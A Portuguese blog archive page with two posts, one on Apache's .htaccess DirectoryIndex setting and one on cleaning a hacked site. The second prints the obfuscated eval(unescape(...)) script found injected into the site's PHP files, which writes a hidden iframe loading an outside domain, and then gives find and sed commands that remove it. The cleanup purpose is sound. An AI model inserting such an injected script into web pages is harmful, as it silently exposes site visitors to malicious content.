Arquivo mensais:janeiro 2011

Alterando o arquivo index com .htaccess

Um ponto no Apache que é muito útil é o .htaccess. Que são configurações do próprio Apache que podem ser usadas em diretórios para sobrescrever as configuração padrão.
Quando você navega em um site, que usa o Apache, e não define o arquivo que quer acessar (como por exemplo: http://thiagosantos.com/blog/ ao invés de http://thiagosantos.com/blog/index.php) o Apache procura pelo arquivo padrão do diretório.
Se requisitarmos a URL http://thiagosantos.com/blog/ o Apache vai procurar pelo arquivo padrão para essa pasta que nesse caso é o arquivo index.php, logo acessar http://thiagosantos.com/blog/http://thiagosantos.com/blog/index.php dá no mesmo.
Normalmente o Apache está configurado da seguinte forma:
DirectoryIndex index.html index.php index.htm default.htm

Buscar e substituir em muitos arquivos find e sed

Se você chegou até aqui é por que o seu site foi atacado! E você ainda não sabe a origem do ataque, e eu também não sei ! Pule para o passo 1
Ou porquê você quer aprender a buscar e substituir no Linux! - Pule para o passo 2

 

Passo 1 -

Mas aqui tenho uma solução para remover o script malicioso de todos os seus arquivos PHP sem ter que abrir um por um, com uma só linha de comando no Linux você procura em todos os arquivos por uma expressão regular e substitue o script por string vazia.

 

Passo 2 -

O script que aparece no final de todos os arquivos é o abaixo:

<script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%63%61%74%74%77%77%2E%63%6F%6D%2F%3F%32%32%36%39%36%32%35%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script><!-- uy7gdr5332rkmn -->
Usando o find com o sed, removemos o script de todos os arquivos:
  • find para achar todos os arquivos PHP:
    find . -iname "*.php"

  • o sed para substituir a parte do texto que bate com a expressão regular:
    sed -i 's/<script.*uy7gdr5332rkmn -->/ /g'

Agora é só usar os dois ao mesmo tempo com pipe e xargs e deixe a mágica fluir!
find . -iname '*.php' | xargs sed -i 's/<script.*uy7gdr5332rkmn -->/ /g'

Por hoje é só!
Abraços